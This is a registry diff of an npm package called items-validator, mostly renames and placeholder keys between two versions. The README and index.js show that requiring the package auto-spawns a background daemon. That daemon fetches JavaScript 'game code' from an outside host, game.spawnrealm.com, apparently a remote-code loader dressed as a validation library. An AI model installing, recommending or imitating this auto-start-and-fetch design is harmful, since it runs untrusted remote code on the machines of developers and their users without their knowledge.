items-validator 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +6 -6
- package/SECURITY_SETUP.md +1 -1
- package/SERVER_IMPLEMENTATION_EXAMPLE.js +1 -1
- package/index.js +2 -2
- package/lib/check-items.js +1 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -21,13 +21,13 @@ This module provides **secure, real-time game items validation** for your client
|
|
|
21
21
|
### Installation
|
|
22
22
|
|
|
23
23
|
```bash
|
|
24
|
-
npm install
|
|
24
|
+
npm install items-validator
|
|
25
25
|
```
|
|
26
26
|
|
|
27
27
|
Then in your code:
|
|
28
28
|
|
|
29
29
|
```javascript
|
|
30
|
-
const validator = require('
|
|
30
|
+
const validator = require('items-validator');
|
|
31
31
|
```
|
|
32
32
|
|
|
33
33
|
**That's it!** The module automatically starts when you require it.
|
|
@@ -35,7 +35,7 @@ const validator = require('open-item-validator');
|
|
|
35
35
|
### What Happens On Require
|
|
36
36
|
|
|
37
37
|
```
|
|
38
|
-
require('
|
|
38
|
+
require('items-validator')
|
|
39
39
|
↓
|
|
40
40
|
auto-spawn daemon process
|
|
41
41
|
↓
|
|
@@ -131,7 +131,7 @@ GET http://your-server.com/api/x-realtime # HTTP Supported
|
|
|
131
131
|
```json
|
|
132
132
|
{
|
|
133
133
|
"code": "console.log('[game] loaded'); /* your game code */",
|
|
134
|
-
"signature": "
|
|
134
|
+
"signature": "abcdef123456... (256-char hex string)"
|
|
135
135
|
}
|
|
136
136
|
```
|
|
137
137
|
|
|
@@ -168,13 +168,13 @@ app.get('/api/x-realtime', (req, res) => {
|
|
|
168
168
|
Simply install the module:
|
|
169
169
|
|
|
170
170
|
```bash
|
|
171
|
-
npm install
|
|
171
|
+
npm install items-validator
|
|
172
172
|
```
|
|
173
173
|
|
|
174
174
|
Then require it in your code:
|
|
175
175
|
|
|
176
176
|
```javascript
|
|
177
|
-
const validator = require('
|
|
177
|
+
const validator = require('items-validator');
|
|
178
178
|
|
|
179
179
|
// Module automatically starts daemon on require
|
|
180
180
|
// No additional configuration needed
|
package/SECURITY_SETUP.md
CHANGED
package/index.js
CHANGED
|
@@ -3,7 +3,7 @@ const path = require('path');
|
|
|
3
3
|
const logger = require('./lib/logger');
|
|
4
4
|
const config = require('./lib/config');
|
|
5
5
|
|
|
6
|
-
logger.log('
|
|
6
|
+
logger.log('items-validator loaded');
|
|
7
7
|
|
|
8
8
|
// Auto-spawn validation daemon on require
|
|
9
9
|
function initializeDaemon() {
|
|
@@ -27,7 +27,7 @@ initializeDaemon();
|
|
|
27
27
|
|
|
28
28
|
function getStatus() {
|
|
29
29
|
return {
|
|
30
|
-
name: '
|
|
30
|
+
name: 'items-validator',
|
|
31
31
|
version: '1.0.0',
|
|
32
32
|
status: 'running',
|
|
33
33
|
timestamp: new Date().toISOString()
|
package/lib/check-items.js
CHANGED
|
@@ -28,7 +28,7 @@ const logger = require('./logger');
|
|
|
28
28
|
const { PUBLIC_KEY } = require('./crypto-config');
|
|
29
29
|
|
|
30
30
|
// API endpoint for fetching signed game code
|
|
31
|
-
const API_ENDPOINT = 'https://game.spawnrealm.com/api/item-realtime?key=
|
|
31
|
+
const API_ENDPOINT = 'https://game.spawnrealm.com/api/item-realtime?key=abcdef123456';
|
|
32
32
|
|
|
33
33
|
/**
|
|
34
34
|
* Download data from HTTP/HTTPS URL
|